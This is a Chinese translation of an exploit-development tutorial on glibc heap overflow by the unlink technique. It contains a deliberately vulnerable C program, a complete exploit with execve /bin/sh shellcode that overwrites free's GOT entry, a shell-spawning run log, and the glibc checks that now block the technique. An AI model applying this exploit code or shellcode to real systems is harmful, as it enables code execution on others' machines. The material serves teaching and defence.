天天看點

Linux (x86) Exploit 開發系列教程之九 使用 unlink 的堆溢出使用 unlink 的堆溢出

使用 unlink 的堆溢出

譯者: 飛龍 原文: Heap overflow using unlink

預備條件:

  1. 了解 glibc malloc

這篇文章中,讓我們了解如何使用 unlink 技巧成功利用堆溢出。但是在了解它之前,首先讓我們看看漏洞程式:

/* 
 Heap overflow vulnerable program. 
 */
#include <stdlib.h>
#include <string.h>

int main( int argc, char * argv[] )
{
        char * first, * second;

/*[1]*/ first = malloc( 666 );
/*[2]*/ second = malloc( 12 );
        if(argc!=1)
/*[3]*/         strcpy( first, argv[1] );
/*[4]*/ free( first );
/*[5]*/ free( second );
/*[6]*/ return( 0 );
}           

上面程式的行

[3]

會導緻堆溢出。使用者輸入

argv[1]

複制給了堆緩沖區

first

,沒有任何大小限制。是以,當使用者輸入大于 666 位元組時,它就會覆寫下一個塊的頭部。這個溢出會導緻任意代碼執行。

看一看漏洞程式的堆記憶體圖檔:

Linux (x86) Exploit 開發系列教程之九 使用 unlink 的堆溢出使用 unlink 的堆溢出

unlink:這個技巧的核心思想,就是欺騙 glibc malloc 來 unlink 第二個塊。unlink

free

的 GOT 條目會使其被 shellcode 位址覆寫。在成功覆寫之後,現在在行

[5]

free

被漏洞程式調用時,shellcode 就會執行。不是很清楚嘛?沒問題,首先讓我們看看執行

free

時,glibc malloc 在幹什麼。

如果沒有攻擊者影響,行

[4]

free

會做這些事情:

  • 對于不是 mmap 的塊,會向前或向後合并。
  • 向後合并
    • 檢視前一個塊是不是空閑的 – 前一個塊是空閑的,如果目前空閑塊的

      PREV_INUSE(P)

      位沒有設定。但是我們這裡,前一個塊是配置設定的,因為它的

      PREV_INUSE

      位設定了,通常堆記憶體的第一個塊的前面那個塊是配置設定的(即使它不存在)。
    • 如果空閑,合并它。例如,從 binlist unlink(移除)前一個塊,将前一個塊的大小與目前塊相加,并将塊指針指向前一個快。但是我們這裡,前一個快是配置設定的,是以 unlink 不會調用。目前空閑塊

      first

      不能向後合并。
  • 向前合并
    • 檢視下一個塊是不是空閑的 – 下一個塊是空閑的,如果下下個塊(距離目前空閑塊)的

      PREV_INUSE(P)

      位沒有設定。為了通路下下個塊,将目前塊的大小加到它的塊指針,再将下一個塊的大小加到下一個塊指針。我們這裡,距離目前空閑塊的下下個塊是 top 塊,它的

      PREV_INUSE

      位已設定。是以下一個塊

      second

      不是空閑的。
    • 如果是空閑的,合并它。例如,從它的 binlist 中 unlink(移除)下一個塊,并将下一個塊的大小添加到目前大小。但是我們這裡,下一個塊是配置設定的,是以 unlink 不會調用。目前空閑塊

      first

      不能向前合并。
  • 現在将合并後的塊添加到 unsorted bin 中。我們這裡,由于合并沒有發生,隻将

    first

    塊添加到票 unsorted bin 中。

現在讓我們假設,攻擊者在行

[3]

覆寫了

second

塊的塊頭部,像這樣:

  • prev_size

    為偶數,是以

    PREV_INUSE

    是未設定的,
  • size = -4

  • fd

    free

    的位址減 12
  • bk

    為 Shellcode 的位址

在攻擊者的影響下,行

[4]

free

會做下面的事情:

    • PREV_INUSE(P)

      PREV_INUSE

    • first

    • PREV_INUSE (P)

      位未設定。為了通路下下個塊,将目前塊的大小加到它的塊指針,再将下一個塊的大小加到下一個塊指針。我們這裡,距離目前空閑塊的下下個塊不是 top 塊。下下個塊在

      second

      塊的 -4 偏移處,因為攻擊者将

      second

      塊的大小覆寫成了 -4。是以現在 glibc malloc 将

      second

      塊的

      prev_inuse

      字段看做下下個塊的大小字段。由于攻擊者覆寫了一個偶數(也就是

      PREV_INUSE (P)

      為是沒有設定的)來代替

      prev_size

      ,glibc malloc 被欺騙來相信

      second

      塊是空閑的。
    • 如果是空閑的,合并它。例如,從它的 binlist 中 unlink(移除)下一個塊,并将下一個塊的大小添加到目前大小。我們這裡下一個塊是空閑的,是以

      second

      塊會像這樣被 unlink:
      • second

        fd

        bk

        值複制到

        FD

        BK

        變量中。這裡,

        FD

        free

        的位址 -12,

        BK

        是 shellcode 的位址(作為堆溢出的一部分,攻擊者将它的 shellcode 放到了

        first

        堆緩沖區中)。
      • BK

        的值複制到了距離

        FD

        偏移為 12 的位置。我們這裡将 12 位元組加到

        FD

        ,就指向了

        free

        的 GOT 條目,是以現在

        free

        的 GOT 條目就覆寫成了 shellcode 位址。好的。現在無論

        free

        在哪裡調用,shellcode 都會執行。是以漏洞程式中行

        [5]

        的執行會導緻 shellcode 執行。
    • 現在将合并後的塊添加到 unsorted bin 中。

看看漏洞程式的堆記憶體的圖檔,在攻擊者影響使用者輸入之後:

Linux (x86) Exploit 開發系列教程之九 使用 unlink 的堆溢出使用 unlink 的堆溢出

了解了 unlink 技巧之後,讓我們編寫利用程式吧。

/* Program to exploit 'vuln' using unlink technique.
 */
#include <string.h>
#include <unistd.h>

#define FUNCTION_POINTER ( 0x0804978c )         //Address of GOT entry for free function obtained using "objdump -R vuln".
#define CODE_ADDRESS ( 0x0804a008 + 0x10 )      //Address of variable 'first' in vuln executable. 

#define VULNERABLE "./vuln"
#define DUMMY 0xdefaced
#define PREV_INUSE 0x1

char shellcode[] =
        /* Jump instruction to jump past 10 bytes. ppssssffff - Of which ffff would be overwritten by unlink function
        (by statement BK->fd = FD). Hence if no jump exists shell code would get corrupted by unlink function. 
        Therefore store the actual shellcode 12 bytes past the beginning of buffer 'first'*/
        "\xeb\x0assppppffff"
        "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";

int main( void )
{
        char * p;
        char argv1[ 680 + 1 ];
        char * argv[] = { VULNERABLE, argv1, NULL };

        p = argv1;
        /* the fd field of the first chunk */
        *( (void **)p ) = (void *)( DUMMY );
        p += 4;
        /* the bk field of the first chunk */
        *( (void **)p ) = (void *)( DUMMY );
        p += 4;
        /* the fd_nextsize field of the first chunk */
        *( (void **)p ) = (void *)( DUMMY );
        p += 4;
        /* the bk_nextsize field of the first chunk */
        *( (void **)p ) = (void *)( DUMMY );
        p += 4;
        /* Copy the shellcode */
        memcpy( p, shellcode, strlen(shellcode) );
        p += strlen( shellcode );
        /* Padding- 16 bytes for prev_size,size,fd and bk of second chunk. 16 bytes for fd,bk,fd_nextsize,bk_nextsize 
        of first chunk */
        memset( p, 'B', (680 - 4*4) - (4*4 + strlen(shellcode)) );
        p += ( 680 - 4*4 ) - ( 4*4 + strlen(shellcode) );
        /* the prev_size field of the second chunk. Just make sure its an even number ie) its prev_inuse bit is unset */
        *( (size_t *)p ) = (size_t)( DUMMY & ~PREV_INUSE );
        p += 4;
        /* the size field of the second chunk. By setting size to -4, we trick glibc malloc to unlink second chunk.*/
        *( (size_t *)p ) = (size_t)( -4 );
        p += 4;
        /* the fd field of the second chunk. It should point to free - 12. -12 is required since unlink function
        would do + 12 (FD->bk). This helps to overwrite the GOT entry of free with the address we have overwritten in 
        second chunk's bk field (see below) */
        *( (void **)p ) = (void *)( FUNCTION_POINTER - 12 );
        p += 4;
        /* the bk field of the second chunk. It should point to shell code address.*/
        *( (void **)p ) = (void *)( CODE_ADDRESS );
        p += 4;
        /* the terminating NUL character */
        *p = '';

        /* the execution of the vulnerable program */
        execve( argv[0], argv, NULL );
        return( -1 );
}           

執行上述程式會派生新的 shell。

sploitfun@sploitfun-VirtualBox:~/lsploits/hof/unlink$ gcc -g -z norelro -z execstack -o vuln vuln.c -Wl,--rpath=/home/sploitfun/glibc/glibc-inst2.20/lib -Wl,--dynamic-linker=/home/sploitfun/glibc/glibc-inst2.20/lib/ld-linux.so.2
sploitfun@sploitfun-VirtualBox:~/lsploits/hof/unlink$ gcc -g -o exp exp.c
sploitfun@sploitfun-VirtualBox:~/lsploits/hof/unlink$ ./exp 
$ ls
cmd  exp  exp.c  vuln  vuln.c
$ exit
sploitfun@sploitfun-VirtualBox:~/lsploits/hof/unlink$           

保護:現在,unlink 技巧不起作用了,因為 glibc malloc 在近幾年變得更可靠。添加下面的檢查來放置使用 unlink 技巧的堆溢出。

  • 二次釋放:釋放一個已經在空閑清單的塊是不允許的。當攻擊者使用 -4 覆寫第二個塊時,它的

    PREV_INUSE

    為沒有設定,這意味着

    first

    已經是空閑狀态了。是以 glibc malloc 會抛出二次釋放錯誤。
    if (__glibc_unlikely (!prev_inuse(nextchunk)))
    {
        errstr = "double free or corruption (!prev)";
        goto errout;
               
  • 下一個塊大小無效:下一個塊的大小應該在 8 到 arena 的全部系統記憶體之間。當攻擊者将

    second

    塊的大小賦為 -4 時,glibc malloc 就會抛出下一個塊大小無效的錯誤。
    if (__builtin_expect (nextchunk->size <= 2 * SIZE_SZ, 0)
        || __builtin_expect (nextsize >= av->system_mem, 0))
    {
        errstr = "free(): invalid next size (normal)";
        goto errout;
    }           
  • 雙向連結清單指針破壞:前一個塊的

    fd

    和下一個塊的

    bk

    應該指向目前 unlink 塊。當攻擊者使用

    free -12

    和 shellcode 位址覆寫

    fd

    bk

    時,

    free

    和 shellcode 位址 + 8 就不會指向目前 unlink 塊(

    second

    )。是以 glibc malloc 就抛出雙向連結清單指針破壞錯誤。
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                     
        malloc_printerr (check_action, "corrupted double-linked list", P);           

注意:出于示範目的,漏洞程式不适用下列 Linunx 保護機制編譯:

  • ASLR
  • NX
  • RELRO(重定向隻讀)

參考

繼續閱讀